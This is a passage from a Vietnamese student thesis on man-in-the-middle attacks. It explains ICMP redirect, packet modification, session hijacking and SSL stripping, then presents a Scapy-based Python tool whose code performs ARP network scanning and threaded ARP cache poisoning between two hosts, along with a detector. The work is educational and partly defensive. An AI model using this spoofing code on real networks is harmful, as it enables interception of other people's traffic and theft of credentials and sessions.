và lưu trữ nó. Người dùng chịu ảnh hưởng của kiểu tấn công DNS poisoning sẽ bị
điều hướng đến máy chủ kiểm soát bởi kẻ tấn công, từ đó kẻ tấn công có thể thực
hiện các kiểu tấn công lừa đảo, nhằm lừa người dùng cung cấp các thông tin nhạy
cảm như thông tin tài khoản mạng xã hội, ngân hàng, CMND, …

14
I.2.4. ICMP Redirect
I.2.4.1. Giới thiệu về ICMP
ICMP (Internet Control Message Protocol), là một giao thức hỗ trợ trên tầng
mạng, được sử dụng bởi các thiết bị mạng nhằm gửi các thông điệp báo lỗi hoặc
hoặc các thông điệp vận hành thành công, thất bại khi giao tiếp đến các địa chỉ IP
khác trong mạng. Các thông điệp ICMP thường được sử dụng trong hoạt động
chuẩn đoán, mục đích điều khiển, hoặc được tạo ra nhằm thông báo lỗi trong quá
trình hoạt động của tầng mạng. Ví dụ, mọi thiết bị (như là các bộ định tuyến trung
gian) trước khi chuyển tiếp một gói tin IP, phải hạ trường TTL (Time to Live) trong
IP headers xuống 1. Nếu trường TTL hạ xuống 0 trước khi đến đích, gói tin sẽ bị
loại bỏ và một gói tin ICMP Time Exceed sẽ được gửi lại đến địa chỉ nguồn, thông
báo gửi thất bại.
Một số dạng thông điệp ICMP phổ biến, thường thấy trong quá trình hoạt
động mạng:
 ICMP Request (Type 8), ICMP Reply (Type 0): Là 2 dạng thông điệp được
sử dụng trong ping để kiểm tra kết nối của thiết bị từ xa, hoặc kiểm tra hoạt
động của thiết bị mạng.
 ICMP Destination Unreachable (Type 3): Thông điệp được sử dụng nhằm
báo về địa chỉ IP nguồn rằng đích đến không thể kết nối được.
 ICMP Parameter Problem (Type 12): Thông điệp báo lỗi trong header của
datagram
 ICMP Redirect/Change Request (Type 5): Thông điệp điều khiển, được gửi
bởi gateway, nhằm báo cho các host biết rằng có một đường đi tốt hơn
 ICMP Timestamp Request (Type 13), ICMP Timestamp Reply (Type 14):
Thông điệp được sử dụng nhằm đồng bộ thời gian ứng dụng giữa nơi chuyền
và nơi nhận

15
Trong an ninh mạng, nhiều kẻ tấn công đã xuất hiện nhiều phương thức tấn
công mạng bằng cách sử dụng giao thức ICMP, gây thiệt hại lớn cho mục tiêu. Ví
dụ, bằng cách sử dụng gửi một số lượng lớn gói tin ICMP Request với kích thước
lớn đến mục tiêu, kẻ tấn công đã có thể tạo ra một cuộc tấn công DoS, gây rối hoặc
cản trở dịch vụ, hoạt động của mục tiêu nhắm đến. Trong tấn công MiTM, giao
thức ICMP cũng có thể bị lợi dụng bằng cách sử dụng một dạng thông điệp đặc
biệt, nhằm đổi hướng đường đi của mục tiêu. Kiểu tấn công MiTM này còn được
gọi là kiểu tấn công ICMP Redirect.
I.2.4.2. ICMP Redirect
Tấn công ICMP Redirect là một dạng tấn công MiTM, xen giữa đường
truyền của nạn nhân bằng cách sử dụng thông điệp ICMP Redirect (Type 5) nhằm
chuyển hướng đường truyền của nạn nhân. Các gói tin của máy nạn nhân thay vì đi
qua gateway, chúng sẽ đi qua máy của kẻ tấn công do sự điều chỉnh trong bảng
định tuyến của máy nạn nhân.
Như đã giới thiệu ở trên, thông điệp ICMP Redirect đảm bảo các host trong
mạng sử dụng gateway tốt nhất có thể, hoặc đổi sang gateway khác phòng trường
hợp bị lỗi. Những thông điệp này thường được gửi bởi các cầu nối để thông báo với
các host rằng có một đường đi tốt hơn để liên lạc với đích đến định trước. Thông
điệp ICMP Redirect là dạng thông điệp chỉ được gửi bởi các bộ định tuyến, không
host nào có thể gửi được. Khi một gói tin ICMP Redirect được nhận bởi host, một
tuyến đường mới được thêm vào nhằm giúp host sử dụng được thông tin đó. Thông
điệp ICMP Redirect là tổng họp của địa chỉ IP của Gateway, theo đó là gói tin IP để
định danh đường đi mới sẽ áp dụng. Có 4 mã, được sử dụng để định danh các đối
tượng chuyển hướng:
 Code 0: Chuyển hướng cho mạng
 Code 1: Chuyển hướng cho host
 Code 2: Chuyển hướng cho một dạng dịch vụ và mạng

16
 Code 3: Chuyển hướng cho một dạng dịch vụ và host
Để thực hiện được tấn công ICMP Redirect, kẻ tấn công sẽ phải tạo ra một
gói tin ICMP Redirect giả mạo, với địa chỉ IP nguồn từ gateway. Từ đó máy nạn
nhân sẽ nhận gói tin và cập nhật đường đi mới, với gateway mới chính là địa chỉ
của IP của kẻ tấn công. Hình 1.9 dưới đây minh họa cách thực hiện tấn công ICMP
Redirect của kẻ tấn công

Hình 1.9. Tấn công ICMP Redirect


Tấn công ICMP Redirect thường rất khó để phát hiện do không thể phát hiện
được sự bất thường trong lưu lượng mạng, nhưng để thực hiện được kiểu tấn công
này, người thực hiện tấn công cũng gặp rất nhiều khó khăn. Để có thể tạo ra một
gói tin giả mạo, người tấn công cần phải biết được địa chỉ IP đích mà nạn nhân
muốn kết nối đến, thông thường là các địa chỉ IP ngoài Internet.
Việc phát hiện địa chỉ IP đích của nạn nhân có thể dễ dàng đối với những
mạng sử dụng các thiết bị hub, chuyển gói tin theo dạng broadcast, nhưng với mạng
máy tính hiện đại, sử dụng switch để chuyển tiếp, việc lắng nghe các gói tin trong
mạng sẽ trở nên khó khăn hơn rất nhiều, vì vậy rất khó để tạo ra một gói tin phù
hợp được. Tuy vậy, tấn công MiTM sử dụng ICMP Redirect vẫn là một trong
những phương pháp tấn công hiệu quả.

17
I.3. Các hình thức tấn công Man – in – the – middle
I.3.1. Packet Injection and Modification (Thêm và thay đổi gói tin)
Tấn công Packet Injection and Modification (Thêm và thay đổi gói tin) là
hình thức tấn công mà ở đó, khi người tấn công đã đứng giữa đường truyền của
mục tiêu và nghe lén được các gói tin đang truyền, lúc đó kẻ tấn công có thể thay
đổi tham số của gói tin hoặc thay đổi số thứ tự của gói tin để thêm vào gói tin độc
hại, rồi truyền lại cho mục tiêu nhằm chuyển hướng, ngụy trang hoặc thay đổi cách
làm việc của máy tính nạn nhân.

Hình 1.10. Tấn công DNS Spoofing sử dụng kỹ thuật sửa đổi gói tin
Hình ảnh 1.10 một ví dụ về việc sử dụng Packet Modification để thực hiện
tấn công DNS Spoofing. Ở đây, kẻ tấn công nghe lén các gói tin đi từ nạn nhân ra
Internet nhằm tìm kiếm các gói tin DNS Query yêu cầu phân giải tên miền
Yahoo.com. Khi nhận được gói tin DNS Query đến tên miền Yahoo.com, kẻ tấn
công sẽ chuyển tiếp yêu cầu đó đến tên miền và chờ đợi gói tin DNS Reply từ tên
miền. Sau khi nhận được gói tin trả về cho yêu cầu, kẻ tấn công sẽ chặn và thay đổi
địa chỉ phân giải từ tên miền thành địa chỉ của máy chủ độc hại mà kẻ tấn công
muốn mục tiêu chuyển hướng đến và chuyển về cho mục tiêu. Lúc này, nạn nhân
nhận được gói tin DNS Reply bị chỉnh sửa của kẻ tấn công và chuyển hướng đến

18
máy chủ của kẻ tấn công. Từ đó mọi gói tin được gửi đến Yahoo.com sẽ bị chuyển
đến máy chủ của kẻ độc hại mà nạn nhân không hề hay biết.
Hình thức tấn công này rất phổ biến trong tấn công MiTM, giúp cho kẻ tấn
công can thiệp và điều hướng đường truyền của nạn nhân, thêm vào những tệp tin
độc hai vào đường truyền nạn nhân, v.v. Tuy nhiên, cũng có nhiều nhược điểm cần
cân nhắc khi thực hiện. Vì đây là một hình thức tấn công can thiệp đến đường
truyền đang xảy ra và yêu cầu độ trễ thấp, hình thức này phải thực hiện tự động và
can thiệp ít để đảm bảo đường truyền không bị trễ. Để thực hiện được kiểu tấn công
này hiệu quả, kẻ tấn công cần phải sử dụng công cụ can thiệp gói tin có thể chỉnh
sửa nhanh chóng, chính xác và hoàn toàn tự động.
I.3.2. Session Hijacking (Chiếm đoạt phiên)
Session Hijacking là một hình thức tấn công mà phiên làm việc của người
dùng bị chiếm đoạt bởi kẻ tấn công. Thông thường, một phiên làm việc bắt đầu khi
người dùng đăng nhập hay sử dụng một dịch vụ, ví dụ như ứng dụng ngân hàng, và
kết thúc khi người dùng thoát ra. Kiểu tấn công này phụ thuộc vào việc kẻ tấn công
phải biết được session cookie, vì vậy kiểu tấn công này còn được gọi là kiểu tấn
công cookie hijacking hay cookie side-jacking. Mặc dù bất kỳ phiên máy tính nào
cũng có thể bị chiếm đoạt, tấn công Session hijacking thường chỉ được áp dụng đối
với các phiên của trình duyệt hoặc của các ứng dụng web.
Trong hầu hết các trường hợp khi người dùng truy cập vào một ứng dụng
web, máy chủ sẽ tạo ra một session cookie tạm thời ở trình duyệt của người dùng
để nhớ rằng họ đang truy cập và đã được xác thực. Giao thức HTTP là một giao
thức stateless và session cookie gán vào mọi HTTP header là cách phổ biến nhất để
máy chủ có thể định danh trình duyệt của người dùng hoặc phiên hoạt động hiện tại
của họ.

19
Hình 1.11. Tấn công Session Hijacking
Hình 1.11 là một ví dụ về tấn công Session Hijacking.
Để có thể thực hiện được tấn công session hijacking, kẻ tấn công cần phải
biết session ID, hay còn gọi là khóa phiên (session key) của nạn nhân, điều này có
thể làm được bằng cách nghe lén tìm session cookie của nạn nhân. Sau khi nạn
nhân đã đăng nhập thành công vào máy chủ, kẻ tấn công có thể cướp được phiên
làm việc đó bằng cách sử dụng chính session ID đó cho chính phiên trình duyệt của
kẻ tấn công. Máy chủ khi đó sẽ đối xử với phiên làm việc của kẻ tấn công như
phiên làm việc của nạn nhân.
Nếu tấn công thực hiện thành công, kẻ tấn công có thể thực hiện bất kì hành
động nào mà nạn nhân được phép làm trong phiên hoạt động. Tùy thuộc vào mục
tiêu nhắm đến, điều này có thể là chuyển tiền từ tài khoản ngân hàng của nạn nhân,
mua sắm trên các trang bán hàng online với tư cách là nạn nhân, truy cập vào các

20
thông tin cá nhân cho những tên cướp danh tính, cướp dữ liệu cá nhân của khánh
hàng từ hệ thống công ty, mã hóa các dữ liệu quan trọng và yêu cầu tiền chuộc để
giải mã chúng, v.v, tất cả đều mang lại hậu quả nghiêm trọng.
I.3.3. SSL Stripping
SSL Stripping hay còn gọi là tấn công hạ cấp SSL là một dạng tấn công được
sử dụng để phá vỡ bảo mật được áp dụng bởi chứng chỉ SSL trên các trang web sử
dụng HTTPS. Nói một cách khác, SSL Stripping là một kỹ thuật hạ cấp đường
truyền của người dùng từ đường truyền HTTPS bảo mật xuống đường truyền
HTTP không mã hóa và để lộ đường truyền trước mối nguy bị nghe lén hoặc thao
túng dữ liệu. Trong SSL Stripping, mọi đường truyền từ máy nạn nhân được định
tuyến thông qua một proxy được tạo ra bởi kẻ tấn công.

Hình 1.12. Tấn công SSL Stripping


Giả sử một tình huống sau gồm có máy nạn nhân, kẻ tấn công và máy chủ web sử
dụng SSL như hình 1.12 ở trên:
 Nạn nhân muốn chuyển tiền từ tài khoản của họ sử dụng một dịch vụ chuyển
tiền online của ngân hàng và nhập URL sau vào thanh địa chỉ của trình duyệt
web: www.foobank.com/online_banking. Lúc này trình duyệt của nạn nhân
kết nối với máy của kẻ tấn công và đợi trả lời từ máy chủ web. Kẻ tấn công
sẽ đóng vai trò như một người truy cập, thay thế nạn nhân gửi thông điệp
nhận được từ nạn nhân đến máy chủ. Khi đó, kết nối giữa kẻ tấn công và
21
máy chủ là kết nối an toàn do máy kẻ tấn công và máy chủ web thiết lập kết
nối SSL/TLS thành công.
 Máy chủ trả lời với trang web đăng nhập có URL sau:
https://www.foobank.com/online_banking. Ở giai đoạn này, kẻ tấn công có
truy cập vào trang web đăng nhập. Tiếp theo, kẻ tấn công sửa đổi phản hồi từ
máy chủ từ HTTPS xuống HTTP và gửi nó lại cho nạn nhân, kết quả là URL
của phản hồi sẽ có địa chỉ là http://www.foobank.com/online_banking.
 Lúc này, máy nạn nhân có truy cập vào trang đăng nhập của ngân hàng với
đường truyền không an toàn với máy kẻ tấn công. Từ thời điểm đó, mọi yêu
cầu của nạn nhân được truyền dưới dạng văn bản rõ và kẻ tấn công có thể
nghe lén được dữ liệu.
 Máy chủ nghĩ rằng nó đã thiết lập thành công kết nối SSL/TLS với máy nạn
nhân nhưng thực ra là đang kết nối với máy kẻ tấn công. Ngược lại, máy nạn
nhân cũng nghĩ rằng nó đang kết nối với máy chủ hợp pháp.
Tấn công SSL Stripping được sử dụng nhiều trong nghe lén dữ liệu do trình
duyệt không hiện bất kì lỗi chứng chỉ SSL nào và nạn nhân cũng không hề hay biết
tấn công đó đang diễn ra.

22
CHƯƠNG II: XÂY DỰNG CÔNG CỤ TẤN CÔNG MITM
II.1. Giới thiệu
II.1.1. Scapy
Scapy là một chương trình Python cho phép người dùng gửi, lắng nghe, phân
tích và tạo các gói tin mạng máy tính. Những khả năng này giúp cho việc xây dựng
các công cụ có thể do thám, quét và tấn công mạng hiệu quả cao.
Nói một cách khác, Scapy là một chương trình thao tác gói tin có khả năng
tương tác mạnh mẽ, có thể tạo và giải mã các gói tin của nhiều giao thức, gửi và
nhận chúng, ghép các yêu cầu và trả lời và nhiều hơn nữa. Scapy có thể dễ dàng xử
lý các nhiệm vụ cổ điển như quét, theo dấu, do thám, tấn công và do thám mạng.
Nó có thể thay thế công cụ hping, arpspoof, arp-sk, arping, p0f và một phần của
công cụ Nmap, tcpdump và tshark.
Scapy còn có thể thực hiện nhiều công việc cụ thể khác mà một số công cụ
khác không thể làm được, như là gửi frame không hợp lệ, thêm các frame 802.11,
kết hợp các kỹ năng (VLAN hopping + ARP poisoning), giải mã VOIP trên kênh
truyền được mã hóa WEP, …
Ý tưởng rất đơn giản. Scapy chủ yếu làm hai việc: gửi gói tin và nhận gói tin
trả về. Người sử dụng scapy định nghĩa một tập các gói tin, scapy gửi chúng, nhận
câu trả lời, ghép các yêu cầu với câu trả lời và gửi về một danh sách các cặp gói tin
(yêu cầu, trả lời) và một danh sách các gói tin không khớp. Đây là một lợi thế lớn
trước các công cụ như Nmap hoặc Hping, ở đó mà câu trả lời không bị thu hẹp
trong open, closed, filtered mà là cả gói tin.
Một số chức năng chính của Scapy:
 Thiết kế gói tin nhanh chóng: Scapy cho phép người dùng miêu tả một gói
tin hoặc một tập các gói tin thành các tầng xếp lên nhau. Các trường của mỗi
tầng có các giá trị mặc định có thể thay đổi. Scapy không bắt buộc người
dùng phải sử dụng các phương thức định nghĩa trước hoặc các khuôn mẫu có

23
trước. Trong C, người lập trình phải cần đến trung bình 60 dòng để mô tả
một gói tin. Với Scapy, các gói tin được gửi có thể chỉ cần mô tả trên 1 dòng
và 1 dòng nữa để in kết quả. 90% các công cụ do thám mạng có thể được
viết lại bằng 2 dòng của Scapy
 Do thám một lần, thu nhiều dữ liệu: Không như nhiều công cụ khác, Scapy
cung cấp toàn bộ các thông tin, ví dụ như toàn bộ các gói tin gửi và gói tin
trả về nhận được. Xem xét các gói tin này sẽ cho người dùng thông tin mong
muốn. Hầu hết các công cụ chọn điểm nhìn và loại bỏ các gói tin không liên
quan đến điểm nhìn đó. Vì Scapy cho người sử dụng toàn bộ dữ liệu gói tin,
dữ liệu đó có thể được sử dụng nhiều lần cho phép các điểm nhìn thay đổi
liên tục trong quá trình phân tích.
 Scapy giải mã, không phải giải thích: Một trong những vấn đề của các thiết
bị do thám mạng máy tính là chúng cố gắng giải thích các phản hồi thay vì
chỉ giải mã và đưa ra các dữ liệu. Việc giải thích các kết quả có thể giúp
những người dùng không biết gì về quét cổng nhưng chúng cũng có thể có
hại hơn là đem là lợi ích, do chúng có thể đưa ra các thành kiến về kết quả.
Điều có thể có xu hướng xảy ra là để họ có thể tự mình thực hiện việc giải
thích, những người dùng có hiểu biết sẽ cố gắng đảo ngược kỹ thuật diễn giải
của công cụ để rút ra các sự kiện đã kích hoạt sự diễn giải đó. Thật không
may, nhiều thông tin bị mất trong hoạt động này.
 Giá trị mặc định hợp lý: Scapy sẽ cố gắng sử dụng các giá trị mặc định hợp
lý cho tất cả các trường của gói tin, nếu chúng không bị viết đè lên. Scapy
còn cung cấp khả năng tính toán các checksum, kích thước gói tin, … không
cần sự can thiệp của người dùng.
Sau khi đã tìm hiểu về Scapy, đồ án sẽ ứng dụng thư viện Scapy vào trong
công cụ để tạo ra các gói tin nhằm tác động lên hoạt động mạng của máy tính.

24
II.1.2. Giới thiệu về công cụ được xây dựng
Công cụ được xây dựng, đặt tên là Who – in – the – Middle (viết tắt là
WiTM), là công cụ nhằm cung cấp cho người sử dụng một số các phương thức và
kỹ thuật tấn công, phục vụ cho việc thực hiện tấn công MiTM.
Công cụ WiTM sử dụng ngôn ngữ lập trình Python làm ngôn ngữ xây dựng
công cụ và Scapy làm module chính nhằm tạo các gói tin mạng, phục vụ cho việc
quét và thực hiện tấn công. Bằng việc sử dụng Python, công cụ có thể tương tác với
Scapy bằng cách import Scapy vào script với tư cách là một module. Từ đó, công
cụ có thể thao tác với các chức năng của Scapy như tạo và phân tích gói tin.
WiTM được xây dựng là một công cụ tấn công MiTM có thể được sử dụng
và cài đặt dễ dàng, không phụ thuộc nhiều vào các module ngoài các module mặc
định của Python. Ngoài ra, WiTM có thể được sử dụng linh hoạt kết hợp với các
công cụ tấn công mạng khác do các chức năng của WiTM được xây dựng độc lập
và không phục thuộc vào nhau.
WiTM được thiết kế cùng với các chức năng sau:
 Quét mạng
 Tấn công ARP Spoofing
 Phát hiện ARP Spoofing
 Lắng nghe đường truyền HTTP
 DNS Spoofing
Chi tiết cụ thể về các chức năng của công cụ xây dựng sẽ được trình bày và
giải thích ở phần Phân tích và thiết kế chức năng tiếp theo.

25
II.2. Phân tích và thiết kế chức năng
II.2.1. Quét mạng (Network Scanner)
II.2.1.1. Phân tích
Ở chức năng Quét mạng, mục tiêu phải đạt được là xác định được thông tin
về địa chỉ IP và địa chỉ MAC của những thiết bị kết nối mạng trong LAN, đồng
thời xác định địa chỉ IP của Gateway, phục vụ cho việc xác định hướng tấn công
MiTM của người sử dụng.
Để có thể làm được điều này, công cụ cần phải sử dụng giao thức ARP để có
thể vừa xác định được các thiết bị đang kết nối trong mạng, vừa phân giải được địa
chỉ IP thành địa chỉ MAC. Ngoài ra, giao thức ARP là một giao thức mạng truyền
tải nhanh và không bị hạn chế bởi tường lửa có trên các máy tính, khiến cho việc
quét mạng trở nên chính xác hơn.
Ở chức năng này, công cụ yêu cầu người dùng nhập vào mạng cần quét, định
dạng là network/subnet. Từ đó công cụ sẽ phải kiểm tra địa chỉ mạng nhập vào có
hợp lệ hay không. Nếu hợp lệ, địa chỉ mạng người dùng cung cấp để tạo gói tin
ARP request, gửi đi và nhận về các gói tin trả lời, kết quả trả về sẽ được in ra dưới
dạng bảng. Nếu không hợp lệ, công cụ sẽ yêu cầu người dùng nhập lại. Lưu đồ mô
tả quá trình hoạt động của chức năng được thể hiện ở hình 2.1 dưới đây:

26
Hình 2.13. Lưu đồ mô tả hoạt động của chức năng quét mạng
Để sử dụng chức năng này, chọn option 1 ở giao diện chính.
II.2.1.2. Thiết kế
Trước khi xây dựng chức năng, cần phải tạo ra một hàm có khả năng kiểm
tra địa chỉ IP được nhập vào, từ đó sẽ thiết kế thêm hàm kiểm tra mạng nhập vào
hợp lệ hay không. Phần lập trình các hàm kiểm tra địa chỉ nhập vào sẽ có ở phần

27
phụ lục 2. Sau đó, đồ án sẽ mô tả cách lập trình hàm nhập địa chỉ mạng từ phía
người dùng.

def input_network():
while True:
try:
network_IP = str(raw_input("[*] Please input network
IP you want to scan: "))
if network_check(network_IP):
return network_IP
else:
print("[!] Invalid Input!")
continue
except KeyboardInterrupt:
return ""
break

Ở đây, áp dụng hàm kiểm tra địa chỉ mạng đã tạo, nếu địa chỉ nhập vào hợp
lệ, công cụ trả về dữ liệu. Nếu dữ liệu nhập vào không hợp lệ, người dùng sẽ được
yêu cầu nhập lại
Như đã nói ở phần trước, công cụ sẽ sử dụng giao thức ARP để quét mạng.
Bằng cách sử dụng Scapy, tạo ra một hàm nhằm gửi gói tin ARP broadcast đến địa
chỉ mạng đã nhập và nhận các gói tin trả lời.

def send_ARP_broadcast(ip):
ARP_request = scapy.ARP(pdst=ip)
broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_broadcast = broadcast/ARP_request
answered_list = scapy.srp(arp_broadcast, verbose=False,
timeout=5)[0]
return answered_list

Ở đây, công cụ bắt đầu tạo gói tin ARP broadcast bằng module scapy. Địa
chỉ IP đích sẽ được thiết lập là địa chỉ IP được truyền vào, địa chỉ MAC đích là địa
chỉ MAC broadcast ff:ff:ff:ff:ff:ff. Sau khi đã tạo xong gói tin ARP, công cụ sử
dụng hàm srp của scapy để gửi và nhận các gói tin trả lời. Sau khi gửi các gói tin,
hàm srp trả về một cặp giá trị gồm các gói tin được trả lời và các gói tin chưa được

28
trả lời. Để lấy các gói tin đã được trả lời, lấy giá trị đầu tiên của cặp và trả về giá trị
đó.

def scan_network(ip):
print("[!] Scanning network...")
answered_list1 = send_ARP_broadcast(ip)
discovered_list = []
for element in answered_list1:
discovered_host = {"IP":element[1].psrc,
"MAC":element[1].hwsrc}
discovered_list.append(discovered_host)
print("------------------------------
Result--------------------------------")
print("\tIP address \t\t\t MAC address")
num = 0
for element in discovered_list:
print(element['IP'] + "\t\t\t|\t" + element['MAC'])
num = num + 1
print("[!] Return " + str(num) + " results!")
print("[!] Gateway: " + scapy.conf.route.route("0.0.0.0")[2])

Sau khi đã tạo ra được hàm gửi gói tin ARP broadcast và nhận gói tin trả lời,
tạo ra một hàm in ra kết quả đã lấy được từ hàm gửi ARP broadcast ở trên. Giá trị
của hàm send_ARP_broadcast lưu trữ cặp giá trị gồm gói tin gửi đi và gói tin trả
lời. từ đó lấy thông tin của gói tin trả về bằng cách lấy giá trị thứ 2 của cặp và trích
xuất giá trị IP nguồn và MAC nguồn của chúng. Để tìm được địa chỉ gateway, sử
dụng hàm conf.route.route. Hàm này sẽ trả về thông tin của một đường đi được chỉ
định trước theo định dạng sau (interface, outgoing_interface, gateway). Ở đây, lấy
địa chỉ gateway bằng cách lấy thông tin từ đường đi 0.0.0.0. Chức năng quét mạng
cục bộ đã tạo xong.
II.2.2. Tấn công ARP Spoofing
II.2.2.1. Phân tích
Đây là chức năng thực hiện tấn công ARP Spoofing. Ở chức năng này, để có
thể thực hiện kiểu tấn công này như định nghĩa, cần phải thực hiện xây dựng chức
năng tấn công theo hình 2.2:

29
Hình 2.14. Lưu đồ mô tả hoạt động của chức năng tấn công ARP Spoofing
Để giải thích cụ thể chức năng này, đồ án sẽ phân tích lưu đồ trên như sau:
 Bước 1: Yêu cầu người dùng nhập 2 địa chỉ IP: địa chỉ IP của mục tiêu tấn
công và địa chỉ IP của đối tượng giả mạo. Nếu 2 địa chỉ nhập vào không hợp
lệ, công cụ sẽ yêu cầu người dùng nhập lại.

30
 Bước 2: Sau khi đã nhập 2 địa chỉ IP, tạo ra 2 gói tin ARP Reply giả mạo
nhằm đánh lừa hai mục tiêu: máy bị tấn công và máy bị giả mạo, có định
dạng như sau:
o Gói tin ARP reply 1: Có địa chỉ MAC trả lời là địa chỉ MAC của máy
người sử dụng công cụ nhưng địa chỉ IP là địa chỉ của máy giả mạo,
gửi đến máy bị tấn công.
o Gói tin ARP reply 2: Có địa chỉ MAC trả lời là địa chỉ MAC của máy
người sử dụng công cụ nhưng địa chỉ IP là địa chỉ của máy bị tấn
công, gửi đến máy bị giả mạo.
 Bước 3: Sau khi tạo được 2 gói tin giả mạo, cần phải thực hiện việc gửi 2 gói
tin này liên tục nhằm hạn chế khả năng máy của nạn nhân có thể lấy lại địa
chỉ MAC thật của thiết bị đang giả mạo. Việc này có thể thực hiện được
bằng cách tạo ra vòng lặp và cài đặt thời gian thực hiện việc gửi 2 gói tin
trên.
 Bước 4: Khi người dùng muốn kết thúc tấn công ARP spoofing, dừng quá
trình gửi gói tin ARP reply giả mạo và tạo ra 2 gói tin ARP reply khác nhằm
khôi phục lại bảng ARP của 2 máy, xóa giấu vết tấn công của công cụ.
Để có thể vừa thực hiện được tấn công ARP spoofing, vừa có thể thực hiện
được các tính năng khác trong công cụ, công cụ sẽ phải phân luồng xử lý và chạy
tấn công một cách ngầm định để người sử dụng có thể chọn các lựa chọn khác mà
không ảnh hưởng đến quá trình tấn công ARP spoofing.
Để sử dụng tấn công ARP Spoofing, lựa chọn option 2. Để ngắt tấn công
ARP spoofing, chọn lại option 2 để ngắt tấn công đã thực hiện từ trước.

31
II.2.2.2. Thiết kế
Trước khi thực hiện tấn công ARP spoofing, cần phải xây dựng một hàm yêu
cầu người dùng cung cấp địa chỉ IP của mục tiêu và địa chỉ IP của đối tượng đang
muốn giả mạo.

def ARPspoof_input():
while True:
try:
target_IP = str(raw_input("[*] Input target IP address:
"))
spoof_IP = str(raw_input("[*] Input spoof IP target: "))
if ipaddr_check(target_IP) == False or
ipaddr_check(spoof_IP) == False:
print("[!] Invalid input! Please enter again...")
continue
else:
print("[!] All input valid!")
return target_IP, spoof_IP
except KeyboardInterrupt:
return ""
break

Ở đây, áp dụng hàm ipaddr_check đã xây dựng ở phụ lục 2 để kiểm tra 2 địa
chỉ IP người dùng nhập có hợp lệ hay không. Nếu tất cả hợp lệ, trả về 2 giá trị
người dùng đã nhập vào, còn không công cụ sẽ yêu cầu người dùng nhập lại. Nếu
người dùng sử dụng Ctrl + C để thoát khỏi chương trình, hàm trả về giá trị rỗng, lúc
đó ở chương trình chính sẽ so sánh và không tiếp tục thực hiện chức năng này nữa.
Tiếp đó, xây dựng hàm lấy địa chỉ MAC. Trong hàm này, công cụ sử dụng
hàm send_ARP_broadcast đã xây dựng ở chức năng network scanner để tránh việc
lặp lại chức năng đã có, từ đó có thể lấy được địa chỉ MAC của mục tiêu muốn giả
mạo.

32
def get_MAC(ip):
answered_list=send_ARP_broadcast(ip)
return answered_list[0][1].hwsrc

Từ đây, bắt đầu xây dựng hàm tấn công ARP_spoof. Sau khi đã lấy được địa
chỉ MAC của mục tiêu, bắt đầu tạo gói tin ARP reply giả mạo.

def ARP_spoof(target, spoof, target_MAC):


spoof_packet = scapy.ARP(op=2, pdst=target, hwdst=target_MAC,
psrc=spoof)
scapy.send(spoof_packet, verbose=False)

Ở trên, hàm ARP_spoof nhận 3 tham số, target, spoof và target_MAC tương
ứng với địa chỉ IP của máy bị tấn công, máy bị giả mạo và địa chỉ MAC của máy bị
tấn công. Ở trên, spoof_packet được tạo ra với op=2 tương ứng với opcode bằng 2,
chỉ rằng đây là gói tin ARP reply. Ngoài ra, tham số pdst chỉ địa chỉ IP muốn gửi
đến, hwdst chỉ địa chỉ MAC đích muốn gửi đến và psrc chỉ địa chỉ IP gửi. Scapy sẽ
tự động thêm địa chỉ MAC nguồn là địa chỉ MAC của người sử dụng chức năng.
Như đã nói ở phần phân tích, công cụ cần phải thực hiện tấn công ARP
Spoofing ở dạng ngầm định, để người sử dụng có thể sử dụng các chức năng khác.
Để làm điều này, công cụ sẽ sử dụng phân luồng bằng module threading. Ở đây, đồ
án sẽ nêu mô tả về ý tưởng phân luồng này:
 Tạo ra 2 biến: Biến arp_running_flag chỉ có tiến trình ARP Spoofing đang
chạy và biến arp_stop_flag báo dừng của tiến trình ARP spoofing. Giá trị
khởi tạo của 2 biến đều là False.
 Trước khi bắt đầu thực hiện ARP Spoofing, thực hiện kiểm tra biến
arp_running_flag. Nếu giá trị là False, thay đổi biến arp_running_flag thành
True và bắt đầu thực hiện tạo Thread và truyền các tham số vào.
 Sau khởi tạo, chuyển thread đã tạo sang trạng thái ngầm định. Từ đó chương
trình chính sẽ trở lại và có thể chọn các chức năng khác.
 Nếu có thread tấn công ARP spoofing đang chạy và người dùng muốn chạy
một tấn công khác, khi đó chức năng sẽ biết rằng biến arp_running_flag đang
33
là True và sẽ thay đổi biến arp_stop_flag thành True để dừng tiến trình trước.
Biến arp_running_flag sẽ đổi thành False và thông báo người dùng chọn lại
để thực hiện tấn công mới.
Cách lập trình phần này sẽ được trình bày rõ hơn ở phần phụ lục 4.

def ARP_spoofing(stop, target_IP, spoof_IP):


target_MAC = get_MAC(target_IP)
spoof_MAC = get_MAC(spoof_IP)
while True:
ARP_spoof(target_IP, spoof_IP, target_MAC)
ARP_spoof(spoof_IP, target_IP, spoof_MAC)
time.sleep(5)
if stop():
ARP_restore(target_IP, spoof_IP, target_MAC, spoof_MAC)
ARP_restore(spoof_IP, target_IP, spoof_MAC, target_MAC)
print("[!] Current ARP spoofing attack has stopped")
break

Hàm được viết ở trên là hàm thực hiện tấn công ARP spoofing, được truyền
vào 3 tham số là địa chỉ IP tấn công, địa chỉ IP muốn giả mạo và biến stop nhận giá
trị từ arp_stop_flag. Ở hàm, hàm ARP_spoof được sử dụng hai lần để gửi 2 gói tin
ARP reply giả mạo đến cả 2 địa chỉ IP và dừng 3 giây sau đó lại gửi tiếp. Nếu
arp_stop_flag có giá trị là True, công cụ sẽ thực hiện hàm ARP_restore phía dưới
để gửi gói tin ARP reply với giá trị đúng nhằm khôi phục bảng ARP của 2 máy, kết
thúc tấn công ARP.

def ARP_restore(target, spoof, target_MAC, spoof_MAC):


restore_packet = scapy.ARP(op=2, pdst=target,
hwdst=target_MAC, psrc=spoof, hwsrc=spoof_MAC)
scapy.send(restore_packet, verbose=False)

Chức năng tấn công ARP Spoofing đã được xây dựng xong.
II.2.3. Phát hiện ARP Spoofing (ARP Spoofing detector)
II.2.3.1. Phân tích
Chức năng ARP Spoofing detector là chức năng được xây dựng với mục tiêu
là lắng nghe đường truyền và phát hiện các cuộc tấn công ARP spoofing nhắm đến

34
người dùng, cảnh báo địa chỉ IP đang bị giả mạo và địa chỉ MAC của kẻ tấn công
cho người sử dụng.

Hình 2.15. Lưu đồ xử lý dữ liệu nhập vào và lắng nghe đường truyền của chức
năng phát hiện ARP Spoofing
Hình 2.3 trên là lưu đồ mô tả việc xử lý dữ liệu đầu vào và lắng nghe các gói
tin ARP reply. Ở đây, công cụ yêu cầu người dùng nhập vào giao diện mạng mà
người dùng muốn lắng nghe. Nếu hợp lệ, công cụ sẽ bắt đầu lắng nghe trên giao
